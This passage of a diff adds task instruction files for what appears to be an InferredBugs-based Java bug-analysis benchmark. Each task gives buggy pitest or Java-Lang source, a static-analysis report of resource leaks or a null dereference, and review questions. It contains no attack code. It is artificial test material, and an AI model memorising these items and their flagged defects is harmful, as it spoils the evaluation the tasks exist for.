+**Project:** pitest
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010 Henry Coles
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and limitations under the License.
+ */
+package org.pitest.mutationtest.instrument;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.io.Writer;
+import java.lang.management.MemoryNotificationInfo;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.management.Notification;
+import javax.management.NotificationListener;
+import javax.management.openmbean.CompositeData;
+
+import org.pitest.functional.F2;
+import org.pitest.internal.IsolationUtils;
+import org.pitest.util.CommandLineMessage;
+import org.pitest.util.ExitCode;
+import org.pitest.util.Log;
+import org.pitest.util.MemoryWatchdog;
+
+public class InstrumentedMutationTestSlave {
+
+  private final static Logger LOG = Log.getLogger();
+
+  public static void main(final String[] args) {
+
+    addMemoryWatchDog();
+    Writer w = null;
+
+    try {
+      final File input = new File(args[0]);
+
+      LOG.fine("Input file is " + input);
+
+      final BufferedReader br = new BufferedReader(new InputStreamReader(
+          new FileInputStream(input)));
+
+      final SlaveArguments paramsFromParent = (SlaveArguments) IsolationUtils
+          .fromTransportString(br.readLine());
+
+      Log.setVerbose(paramsFromParent.isVerbose());
+
+      final File outputFile = new File(paramsFromParent.outputFileName);
+      w = new OutputStreamWriter(new FileOutputStream(outputFile));
+      LOG.fine("Output file is " + outputFile);
+
+      System.setProperties(paramsFromParent.systemProperties);
+
+      br.close();
+
+      final F2<Class<?>, byte[], Boolean> hotswap = new F2<Class<?>, byte[], Boolean>() {
+
+        public Boolean apply(final Class<?> a, final byte[] b) {
+          return HotSwapAgent.hotSwap(a, b);
+        }
+
+      };
+
+      final Reporter r = new DefaultReporter(w);
+
+      final MutationTestWorker worker = new MutationTestWorker(hotswap,
+          paramsFromParent.config.createMutator(IsolationUtils
+              .getContextClassLoader()), IsolationUtils.getContextClassLoader());
+
+      worker.run(paramsFromParent.mutations, r, new TimeOutDecoratedTestSource(
+          paramsFromParent.timeoutStrategy, paramsFromParent.tests));
+
+    } catch (final Exception ex) {
+      LOG.log(Level.WARNING, "Error during mutation test", ex);
+      safelyCloseWriter(w);
+      System.exit(ExitCode.UNKNOWN_ERROR.getCode());
+    } finally {
+      safelyCloseWriter(w);
+    }
+
+  }
+
+  private static void safelyCloseWriter(final Writer w) {
+    if (w != null) {
+      try {
+        w.close();
+      } catch (final IOException e) {
+        LOG.log(Level.WARNING, "Couldn't close writer", e);
+      }
+    }
+  }
+
+  private static void addMemoryWatchDog() {
+    final NotificationListener listener = new NotificationListener() {
+
+      public void handleNotification(final Notification notification,
+          final Object handback) {
+        final String type = notification.getType();
+        if (type.equals(MemoryNotificationInfo.MEMORY_THRESHOLD_EXCEEDED)) {
+          final CompositeData cd = (CompositeData) notification.getUserData();
+          final MemoryNotificationInfo memInfo = MemoryNotificationInfo
+              .from(cd);
+          CommandLineMessage.report(memInfo.getPoolName()
+              + " has exceeded the shutdown threshold : " + memInfo.getCount()
+              + " times.\n" + memInfo.getUsage());
+
+          System.exit(ExitCode.OUT_OF_MEMORY.getCode());
+
+        } else {
+          LOG.warning("Unknown notification: " + notification);
+        }
+      }
+
+    };
+
+    MemoryWatchdog.addWatchDogToAllPools(90, listener);
+
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 54 is not released after line 87.
+**Note**: potential exception at line 58
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void InstrumentedMutationTestSlave.main(java.lang.String[])
+
+### Procedure Id:
+org.pitest.mutationtest.instrument.InstrumentedMutationTestSlave.main(java.lang.String[]):void.308fb09c7d5f45324d34804ae88e0130
+
+### File:
+pitest/src/main/java/org/pitest/mutationtest/instrument/InstrumentedMutationTestSlave.java
+
+### Key:
+InstrumentedMutationTestSlave.java|main|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+554bc7f7455765b07eb5cc1fbcb76b9d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3923/instruction.md b/inferredbugs-3923/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4448c1b5f914e209e2fb114cd26312a9a3a32a05
--- /dev/null
+++ b/inferredbugs-3923/instruction.md
@@ -0,0 +1,185 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.pitest.mutationtest;
+
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.util.List;
+
+import org.pitest.Description;
+import org.pitest.PitError;
+import org.pitest.coverage.CoverageStatistics;
+import org.pitest.coverage.execute.CoveragePipe;
+import org.pitest.coverage.execute.CoverageResult;
+import org.pitest.extension.TestUnit;
+import org.pitest.functional.SideEffect1;
+import org.pitest.util.Unchecked;
+
+public class CoverageReceiverThread extends Thread {
+
+  private final SideEffect1<CoverageResult> handler;
+  private final List<TestUnit>              tus;
+  private final int                         port;
+
+  public CoverageReceiverThread(final int port, final List<TestUnit> tus,
+      final SideEffect1<CoverageResult> handler) {
+    this.setDaemon(true);
+    this.handler = handler;
+    this.tus = tus;
+    this.port = port;
+  }
+
+  @Override
+  public void run() {
+
+    ServerSocket socket = null;
+    try {
+      socket = new ServerSocket(this.port);
+      final Socket clientSocket = socket.accept();
+      final BufferedInputStream bif = new BufferedInputStream(
+          clientSocket.getInputStream());
+      final DataInputStream is = new DataInputStream(bif);
+
+      Description d = null;
+      final CoverageStatistics cs = new CoverageStatistics();
+
+      byte control = is.readByte();
+      while (control != CoveragePipe.DONE) {
+        switch (control) {
+        case CoveragePipe.CLAZZ:
+
+          final int id = is.readInt();
+          final String name = is.readUTF();
+
+          final int newId = cs.registerClass(name);
+          if (id != newId) {
+            throw new PitError("Coverage id out of sync");
+          }
+
+          break;
+        case CoveragePipe.LINE:
+
+          final int classId = is.readInt();
+          final int lineId = is.readInt();
+
+          cs.visitLine(classId, lineId);
+
+          break;
+        case CoveragePipe.OUTCOME:
+
+          final boolean isGreen = is.readBoolean();
+          final long executionTime = is.readLong();
+          final CoverageResult cr = new CoverageResult(d, executionTime,
+              isGreen, cs.getClassStatistics());
+
+          this.handler.apply(cr);
+
+          cs.clearCoverageStats();
+
+          break;
+        case CoveragePipe.TEST_CHANGE:
+
+          final int index = is.readInt();
+          d = this.tus.get(index).getDescription();
+          break;
+        case CoveragePipe.DONE:
+
+        }
+        control = is.readByte();
+      }
+
+    } catch (final IOException e) {
+      throw Unchecked.translateCheckedException(e);
+    } finally {
+      if (socket != null) {
+        try {
+          socket.close();
+        } catch (final IOException e) {
+          throw Unchecked.translateCheckedException(e);
+        }
+      }
+    }
+
+  }
+
+  public void waitToFinish() throws InterruptedException {
+    this.join();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.DataInputStream` acquired to `is` by call to `new()` at line 42 is not released after line 92.
+**Note**: potential exception at line 47
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CoverageReceiverThread.run()
+
+### Procedure Id:
+org.pitest.mutationtest.CoverageReceiverThread.run():void.5b45e48704e56ec4010387f2bd295a50
+
+### File:
+pitest/src/main/java/org/pitest/mutationtest/CoverageReceiverThread.java
+
+### Key:
+CoverageReceiverThread.java|run|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+0babd45930a8b4359e5b360d9a0457b1
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3924/instruction.md b/inferredbugs-3924/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..688d12b7d1b33d0e2ba1f6e3a1aaa2f19d9cd3cd
--- /dev/null
+++ b/inferredbugs-3924/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2011 Henry Coles
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); 
+ * you may not use this file except in compliance with the License. 
+ * You may obtain a copy of the License at 
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0 
+ * 
+ * Unless required by applicable law or agreed to in writing, 
+ * software distributed under the License is distributed on an "AS IS" BASIS, 
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
+ * See the License for the specific language governing permissions and limitations under the License. 
+ */
+package org.pitest.mutationtest.statistics;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.pitest.functional.F;
+import org.pitest.functional.FCollection;
+import org.pitest.mutationtest.results.DetectionStatus;
+import org.pitest.util.StringUtil;
+
+public class ScoreTest {
+
+  private Score testee;
+
+  @Before
+  public void setUp() {
+    this.testee = new Score("foo");
+  }
+
+  @Test
+  public void shouldContainEmptyScoreForEachStatusWhenConstructed() {
+    for (final DetectionStatus each : DetectionStatus.values()) {
+      assertTrue(FCollection.contains(this.testee.getCounts(),
+          countFor(each, 0)));
+    }
+
+  }
+
+  @Test
+  public void registerResultsShouldIncrementCount() {
+    this.testee.registerResult(DetectionStatus.KILLED);
+    assertTrue(FCollection.contains(this.testee.getCounts(),
+        countFor(DetectionStatus.KILLED, 1)));
+  }
+
+  @Test
+  public void shouldPrintScoresFourToALine() {
+    final ByteArrayOutputStream s = new ByteArrayOutputStream();
+    final PrintStream out = new PrintStream(s);
+    this.testee.report(out);
+    final String actual = new String(s.toByteArray());
+    final String[] ss = actual.split(StringUtil.newLine());
+    assertEquals("> foo", ss[0]);
+    assertEquals("> KILLED 0 SURVIVED 0 TIMED_OUT 0 NON_VIABLE 0 ", ss[1]);
+  }
+
+  private F<StatusCount, Boolean> countFor(final DetectionStatus each,
+      final int count) {
+    return new F<StatusCount, Boolean>() {
+
+      public Boolean apply(final StatusCount a) {
+        return a.status.equals(each) && (a.count == count);
+      }
+
+    };
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintStream` acquired to `out` by call to `new()` at line 58 is not released after line 59.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ScoreTest.shouldPrintScoresFourToALine()
+
+### Procedure Id:
+org.pitest.mutationtest.statistics.ScoreTest.shouldPrintScoresFourToALine():void.5ef71e4a5291f222670a24b90591e25b
+
+### File:
+pitest/src/test/java/org/pitest/mutationtest/statistics/ScoreTest.java
+
+### Key:
+ScoreTest.java|shouldPrintScoresFourToALine|RESOURCE_LEAK
+
+### Node Key:
+dde86d9a55200e1465c0f2c225b153d9
+
+### Hash:
+d26db7ebeeb9ccf2dc6b3155e0b5b6d0
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3925/instruction.md b/inferredbugs-3925/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..523add559b7ec5e12704d95b5f3d783a066b9fa2
--- /dev/null
+++ b/inferredbugs-3925/instruction.md
@@ -0,0 +1,184 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.pitest.mutationtest;
+
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.util.List;
+
+import org.pitest.Description;
+import org.pitest.PitError;
+import org.pitest.coverage.CoverageStatistics;
+import org.pitest.coverage.execute.CoveragePipe;
+import org.pitest.coverage.execute.CoverageResult;
+import org.pitest.extension.TestUnit;
+import org.pitest.functional.SideEffect1;
+import org.pitest.util.Unchecked;
+
+public class CoverageReceiverThread extends Thread {
+
+  private final SideEffect1<CoverageResult> handler;
+  private final List<TestUnit>              tus;
+  private final int                         port;
+
+  public CoverageReceiverThread(final int port, final List<TestUnit> tus,
+      final SideEffect1<CoverageResult> handler) {
+    this.setDaemon(true);
+    this.handler = handler;
+    this.tus = tus;
+    this.port = port;
+  }
+
+  @Override
+  public void run() {
+
+    ServerSocket socket = null;
+    try {
+      socket = new ServerSocket(this.port);
+      final Socket clientSocket = socket.accept();
+      final BufferedInputStream bif = new BufferedInputStream(
+          clientSocket.getInputStream());
+      final DataInputStream is = new DataInputStream(bif);
+
+      Description d = null;
+      final CoverageStatistics cs = new CoverageStatistics();
+
+      byte control = is.readByte();
+      while (control != CoveragePipe.DONE) {
+        switch (control) {
+        case CoveragePipe.CLAZZ:
+
+          final int id = is.readInt();
+          final String name = is.readUTF();
+
+          final int newId = cs.registerClass(name);
+          if (id != newId) {
+            throw new PitError("Coverage id out of sync");
+          }
+
+          break;
+        case CoveragePipe.LINE:
+
+          final int classId = is.readInt();
+          final int lineId = is.readInt();
+
+          cs.visitLine(classId, lineId);
+
+          break;
+        case CoveragePipe.OUTCOME:
+
+          final boolean isGreen = is.readBoolean();
+          final long executionTime = is.readLong();
+          final CoverageResult cr = new CoverageResult(d, executionTime,
+              isGreen, cs.getClassStatistics());
+
+          this.handler.apply(cr);
+
+          cs.clearCoverageStats();
+
+          break;
+        case CoveragePipe.TEST_CHANGE:
+
+          final int index = is.readInt();
+          d = this.tus.get(index).getDescription();
+          break;
+        case CoveragePipe.DONE:
+
+        }
+        control = is.readByte();
+      }
+
+    } catch (final IOException e) {
+      throw Unchecked.translateCheckedException(e);
+    } finally {
+      if (socket != null) {
+        try {
+          socket.close();
+        } catch (final IOException e) {
+          throw Unchecked.translateCheckedException(e);
+        }
+      }
+    }
+
+  }
+
+  public void waitToFinish() throws InterruptedException {
+    this.join();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.DataInputStream` acquired by call to `new()` at line 42 is not released after line 57.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CoverageReceiverThread.run()
+
+### Procedure Id:
+org.pitest.mutationtest.CoverageReceiverThread.run():void.5b45e48704e56ec4010387f2bd295a50
+
+### File:
+pitest/src/main/java/org/pitest/mutationtest/CoverageReceiverThread.java
+
+### Key:
+CoverageReceiverThread.java|run|RESOURCE_LEAK
+
+### Node Key:
+51001b37fe4a982a9c85a7b55303ff36
+
+### Hash:
+98b384782c030bcd877773f09dfcf749
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3947/instruction.md b/inferredbugs-3947/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..502556169d88ed5cda9cec0d06f499f709870562
--- /dev/null
+++ b/inferredbugs-3947/instruction.md
@@ -0,0 +1,246 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Java-Lang
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 Peter Lawrey
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *         http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.openhft.lang.io;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+public class VanillaMappedCache<T> {
+    private static final Logger LOGGER = LoggerFactory.getLogger(VanillaMappedCache.class);
+
+    private final Map<T,DataHolder> cache;
+
+    public VanillaMappedCache() {
+        this(new LinkedHashMap<T, DataHolder>());
+    }
+
+    public VanillaMappedCache(final int maximumCacheSize, final boolean cleanOnRemove) {
+        this(new LinkedHashMap<T, DataHolder>(maximumCacheSize,1.0f,true) {
+            @Override
+            protected boolean removeEldestEntry(Map.Entry<T, DataHolder> eldest) {
+                boolean removed = size() >= maximumCacheSize;
+                if (removed && cleanOnRemove) {
+                    eldest.getValue().close();
+                }
+
+                return removed;
+            }
+        });
+    }
+
+    private VanillaMappedCache(final Map<T,DataHolder> cache) {
+        this.cache = cache;
+    }
+
+    public VanillaMappedBytes get(T key) {
+        DataHolder data = this.cache.get(key);
+        return data != null ? data.bytes() : null;
+    }
+
+    public VanillaMappedBytes put(T key, File path, long size) {
+        return put(key,path,size,-1);
+    }
+
+    public VanillaMappedBytes put(T key, File path, long size, long index) {
+        DataHolder data = this.cache.get(key);
+        if(data != null) {
+            data.close();
+        } else {
+            data = new DataHolder();
+        }
+
+        try {
+            final Iterator<Map.Entry<T,DataHolder>> it = this.cache.entrySet().iterator();
+            while(it.hasNext()) {
+                Map.Entry<T,DataHolder> entry = it.next();
+                if(entry.getValue().bytes().unmapped()) {
+                    entry.getValue().close();
+                    it.remove();
+                }
+            }
+
+            data.recycle(
+                VanillaMappedFile.readWrite(path, size),
+                0,
+                size,
+                index);
+
+            this.cache.put(key,data);
+        } catch(IOException e) {
+            LOGGER.warn("",e);
+        }
+
+        return data.bytes();
+    }
+
+    public int size() {
+        return this.cache.size();
+    }
+
+    public void close() {
+        for(Map.Entry<T, DataHolder> entry : this.cache.entrySet()) {
+            entry.getValue().close();
+        }
+
+        this.cache.clear();
+    }
+
+    public synchronized void checkCounts(int min, int max) {
+        for(DataHolder data : this.cache.values()) {
+            if (data.bytes().refCount() < min || data.bytes().refCount() > max) {
+                throw new IllegalStateException(
+                    data.file().path() + " has a count of " + data.bytes().refCount());
+            }
+        }
+    }
+
+    private class DataHolder {
+        private VanillaMappedFile file;
+        private VanillaMappedBytes bytes;
+
+        public DataHolder() {
+            this(null,null);
+        }
+
+        public DataHolder(final VanillaMappedFile file, final VanillaMappedBytes bytes) {
+            this.file = file;
+            this.bytes = bytes;
+        }
+
+        public VanillaMappedFile file() {
+            return this.file;
+        }
+
+        public VanillaMappedBytes bytes() {
+            return this.bytes;
+        }
+
+        public void recycle(final VanillaMappedFile file, final VanillaMappedBytes bytes) {
+            close();
+
+            this.file = file;
+            this.bytes = bytes;
+        }
+
+        public void recycle(final VanillaMappedFile file, long address, long size) throws IOException {
+            recycle(file,file.bytes(address,size));
+        }
+
+        public void recycle(final VanillaMappedFile file, long address, long size, long index) throws IOException {
+            recycle(file,file.bytes(address,size,index));
+        }
+
+        public void close()  {
+            try {
+                if(this.bytes != null) {
+                    this.bytes.release();
+                }
+
+                if(this.file != null) {
+                    this.file.close();
+                }
+
+                this.bytes = null;
+                this.file = null;
+            } catch(IOException e) {
+                LOGGER.warn("",e);
+            }
+        }
+    }
+}
+
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `entry.getValue().bytes()` could be null and is dereferenced at line 76.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+VanillaMappedBytes VanillaMappedCache.put(Object,File,long,long)
+
+### Procedure Id:
+net.openhft.lang.io.VanillaMappedCache.put(java.lang.Object,java.io.File,long,long):net.openhft.lang.3253b0474f1626ccd1ba6ef9348273e7
+
+### File:
+lang/src/main/java/net/openhft/lang/io/VanillaMappedCache.java
+
+### Key:
+VanillaMappedCache.java|put|NULL_DEREFERENCE
+
+### Node Key:
+087fe0cc3d844ef6240aa76336c7341b
+
+### Hash:
+e8f5cbbff62cc5185bd597b3b6d2d080
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3949/instruction.md b/inferredbugs-3949/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f9cf92f3d7747a0114bb3357b85cc288469749f7
--- /dev/null
+++ b/inferredbugs-3949/instruction.md
@@ -0,0 +1,370 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Java-Lang
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 Peter Lawrey
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *         http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.openhft.lang.io;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.File;
+import java.io.IOException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Tests for net.openhft.lang.io.VanillaMappedFile
+ */
+public class VanillaMappedFileTest {
+
+    private static File newTempraryFile(String name) {
+        return newTempraryFile(name,true);
+    }
+
+    private static File newTempraryFile(String name,boolean delete) {
+        File file = new File(
+            System.getProperty("java.io.tmpdir") + File.separator + "vmf",
+            name);
+
+        if(delete) {
+            file.delete();
+            file.deleteOnExit();
+        }
+
+        return file;
+    }
+
+    // *************************************************************************
+    //
+    // *************************************************************************
+
+    @Before
+    public void setUp() {
+        System.out.println("Temporay directory is " +  System.getProperty("java.io.tmpdir"));
+    }
+
+    @After
+    public void tearDown() {
+    }
+
+    // *************************************************************************
+    //
+    // *************************************************************************
+
+    @Test
+    public void testCreate() throws Exception {
+        File f1 = newTempraryFile("vmf-create-1");
+        File f2 = newTempraryFile("vmf-create-2");
+
+        VanillaMappedFile vmf1 = new VanillaMappedFile(f1,VanillaMappedMode.RW);
+        VanillaMappedFile vmf2 = new VanillaMappedFile(f2,VanillaMappedMode.RW,128);
+
+        assertTrue(f1.exists());
+        assertTrue(f2.exists());
+
+        assertEquals(  0, vmf1.size());
+        assertEquals(128, vmf2.size());
+
+        vmf1.close();
+        vmf2.close();
+    }
+
+    @Test
+    public void testAcquireBuffer() throws Exception {
+        VanillaMappedFile vmf = new VanillaMappedFile(
+            newTempraryFile("vmf-acquire-buffer"),
+            VanillaMappedMode.RW);
+
+        VanillaMappedBuffer buffer = vmf.sliceOf(128);
+        assertEquals( 1, buffer.refCount());
+        assertEquals(0L, buffer.readLong(0L));
+        assertEquals(0L, buffer.readLong(1L));
+
+        buffer.writeLong(0,1L);
+        assertEquals( 1L, buffer.readLong(0));
+        assertEquals(128, buffer.size());
+
+        buffer.writeLong(2L);
+        assertEquals(2L , buffer.readLong(0));
+        assertEquals(120, buffer.remaining());
+
+        buffer.release();
+        vmf.close();
+    }
+
+    @Test
+    public void testAcquireBlocks1() throws Exception {
+        VanillaMappedFile vmf = new VanillaMappedFile(
+            newTempraryFile("vmf-acquire-blocks-1"),
+            VanillaMappedMode.RW);
+
+        VanillaMappedBlocks blocks = vmf.blocks(128);
+
+        VanillaMappedBuffer b1 = blocks.acquire(0);
+        assertEquals(128, vmf.size());
+
+        VanillaMappedBuffer b2 = blocks.acquire(1);
+        assertEquals(256, vmf.size());
+
+        VanillaMappedBuffer b3 = blocks.acquire(1);
+        assertEquals(256, vmf.size());
+
+        assertNotEquals(b1.address(), b2.address());
+        assertNotEquals(b1.address(), b3.address());
+        assertEquals(b2.address(), b3.address());
+
+        assertEquals(128, b1.size());
+        assertEquals(  1, b1.refCount());
+        assertEquals(128, b2.size());
+        assertEquals(  2, b2.refCount());
+        assertEquals(  2, b3.refCount());
+
+        vmf.close();
+    }
+
+    @Test
+    public void testAcquireBlocks2() throws Exception {
+        VanillaMappedFile vmf = new VanillaMappedFile(
+            newTempraryFile("vmf-acquire-blocks-2"),
+            VanillaMappedMode.RW);
+
+        final long nblocks = 50 * 100 * 1000;
+        final VanillaMappedBlocks blocks = vmf.blocks(64);
+
+        for(long i=0; i<nblocks; i++) {
+            VanillaMappedBuffer b = blocks.acquire(i);
+            assertEquals(1, b.refCount());
+
+            b.release();
+
+            assertEquals(0,b.refCount());
+            assertTrue(b.unmapped());
+        }
+
+        vmf.close();
+    }
+
+    @Test
+    public void testAcquireOverlap() throws Exception {
+        VanillaMappedFile vmf = new VanillaMappedFile(
+            newTempraryFile("vmf-acquire-overlap"),
+            VanillaMappedMode.RW);
+
+        VanillaMappedBlocks blocks = vmf.blocks(128);
+
+        VanillaMappedBuffer b1 = blocks.acquire(0);
+        b1.writeLong(1);
+        b1.release();
+
+        assertEquals(0,b1.refCount());
+        assertTrue(b1.unmapped());
+
+        VanillaMappedBuffer b2 = blocks.acquire(1);
+        b2.writeLong(2);
+        b2.release();
+
+        assertEquals(0,b2.refCount());
+        assertTrue(b2.unmapped());
+
+        VanillaMappedBuffer b3 = blocks.acquire(2);
+        b3.writeLong(3);
+        b3.release();
+
+        assertEquals(0,b3.refCount());
+        assertTrue(b3.unmapped());
+
+        VanillaMappedBuffer b4 = vmf.sliceAt(0, 128 * 3);
+        assertEquals(  1, b4.refCount());
+        assertEquals(384, b4.size());
+        assertEquals( 1L, b4.readLong(0));
+        assertEquals( 2L, b4.readLong(128));
+        assertEquals( 3L, b4.readLong(256));
+
+        vmf.close();
+    }
+
+    @Test
+    public void testReopen() throws Exception {
+        File file = newTempraryFile("vmf-reopen");
+
+        {
+            VanillaMappedFile vmf = new VanillaMappedFile(
+                file,
+                VanillaMappedMode.RW);
+
+            VanillaMappedBuffer buffer = vmf.sliceOf(128);
+            buffer.writeLong(0, 1L);
